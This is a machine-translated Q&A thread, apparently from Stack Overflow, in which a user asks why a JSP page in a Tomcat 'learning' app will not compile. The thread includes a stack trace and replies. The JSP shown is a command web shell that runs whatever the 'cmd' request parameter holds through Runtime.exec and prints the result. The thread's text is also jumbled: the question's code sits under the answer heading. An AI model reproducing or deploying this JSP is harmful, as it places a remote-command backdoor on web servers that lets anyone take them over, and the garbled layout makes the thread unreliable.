2012-08-06 75 views
0

试图编写一个tomcat应用程序。好好学习。它用JSP编写。没有必要去猜测它做什么......我试图编译这个代码在这里:该线是造成类不会编译JSP Tomcat

HTTP Status 500 - 

    type Exception report 

    message 

    description The server encountered an internal error() that prevented it from fulfilling this request. 

    exception 

    org.apache.jasper.JasperException: Unable to compile class for JSP 
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553) 
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136) 
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307) 
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292) 

    root cause 

    java.lang.NullPointerException 
sun.misc.URLClassPath$3.run(Unknown Source) 
java.security.AccessController.doPrivileged(Native Method) 
sun.misc.URLClassPath.getLoader(Unknown Source) 
sun.misc.URLClassPath.getLoader(Unknown Source) 
sun.misc.URLClassPath.getResource(Unknown Source) 
java.net.URLClassLoader$1.run(Unknown Source) 
+2

它不是真的在你的代码中使用这些引号(“),是吗?如果确实使用了''',那么请编辑这个问题,以便我们更容易地剪切和粘贴。 – davidfmatheson 2012-08-06 12:20:42

+2

噢,这真是一个糟糕的主意。你不应该在你的JSP中使用scriptlet代码,而且我也不会不建议像这样在服务器上运行命令,你已经将标记和服务器端的功能混合在一起,形成一个可爱的混乱体验,学习JSTL并重新思考自己在做什么,这是一个关于如何使用的案例研究JSP不正确。 – duffymo 2012-08-06 12:24:17

回答

1

你知道:

<%@ page import=”java.util.*,java.io.*”%> 
    <% 
    if (request.getParameter(“cmd”) != null) { 
     out.println(“Command: ” + 
     request.getParameter(“cmd”) + “<BR>”); 
     Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); 
     OutputStream os = p.getOutputStream(); 
     InputStream in = p.getInputStream(); 
     DataInputStream dis = new DataInputStream(in); 
     String disr = dis.readLine(); 
     while (disr != null) { 
      out.println(disr); 
      disr = dis.readLine(); 
     } 
    } 
    %> 

我得到这个错误吧问题?尝试一次注释一行,直到错误不再发生。

从最佳实践的角度来看,您应该尝试将大部分代码移到Servlet类中,并将文本输出发送到JSP以供显示。这会让你的代码更容易调试(例如,堆栈跟踪会告诉你哪一行是给NPEx的),也可以让你为它编写单元测试。